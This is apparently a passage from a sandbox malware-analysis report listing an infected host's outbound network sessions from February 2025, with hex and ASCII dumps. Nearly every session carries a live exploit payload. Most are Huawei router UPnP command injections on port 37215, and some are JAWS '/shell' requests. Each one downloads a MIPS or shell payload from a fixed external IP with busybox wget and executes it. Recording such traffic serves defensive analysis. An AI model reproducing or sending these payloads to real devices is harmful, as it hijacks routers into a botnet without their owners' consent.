2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.23	51946	197.16.62.125	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.541106939 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.23	40858	41.191.230.82	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.541152954 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.23	44916	156.78.243.31	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.541153908 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.23	51878	73.179.145.138	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.580735922 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.23	39222	197.214.152.219	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.603965044 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.23	40706	41.153.165.63	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:47.608869076 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	45046	176.21.29.126	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:48.564749002 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	36692	76.152.180.221	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:48.600472927 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	37604	197.124.0.86	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:48.627978086 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	45922	156.67.15.110	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:48.632853985 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	39380	197.125.157.23	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:49.620652914 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	39964	156.229.37.81	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:49.620682955 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	45344	197.50.27.176	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:49.620702028 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 